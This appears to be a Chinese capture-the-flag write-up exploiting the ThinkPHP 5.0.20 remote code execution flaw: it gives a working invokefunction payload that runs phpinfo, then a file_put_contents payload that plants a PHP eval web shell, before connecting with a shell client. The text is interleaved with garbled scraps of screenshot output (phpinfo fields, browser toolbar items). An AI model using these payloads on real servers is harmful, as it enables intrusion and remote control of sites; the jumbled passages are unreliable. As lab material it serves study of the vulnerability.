这是一个 thinkphp 框架,先查看版本号。在网址上随意输入一个不存在的模块地址:



可以看到, thinkphp 版本为 5.0.20, 正好是去年爆出的 thinkphp rce 漏洞的版本。

漏洞成因具体可以看该博客:

https://www.cnblogs.com/backlion/p/10106676.html

既然知道了怎么利用,就直接上 payload:

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=

phpinfo &vars[1][]=1 111.198.29.45:42083/index.php?s=index/think\app/invokefunction&f ₩ … ☆ 官方站点 🍯 新手上路 🗀 常用网址 🔟 京东商城 🗀 常用网址 🔟 京东商城 PHP Version 7.2.5 Linux 1f78a9932e8c 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64 System **Build Date** Apr 30 2018 21:06:14 './configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php/ '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--disable-cgi' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-sodium=shared' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' 'build_alias=x86_64-linux-gnu' **Configure Command** Apache 2.0 Handler Server API **Virtual Directory Support** disabled Configuration File (php.ini) Path /usr/local/etc/php **Loaded Configuration File**

/usr/local/etc/php/conf.d

20170718

20170718

320170718

API320170718.NTS

成功执行命令、接下来直接写入 shell:

Scan this dir for additional .ini files

Additional .ini files parsed

PHP API

PHP Extension

Zend Extension

Zend Extension Build

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_p ut_contents&vars[1][]=test.php&vars[1][]=<?php

/usr/local/etc/php/conf.d/docker-php-ext-sodium.ini

highlight_file(__FILE__);@eval(\$_POST[sss]);?>

如果成功写入会返回文件的大小,尝试去访问该文件:



成功写入 shell, 直接上蚁剑:

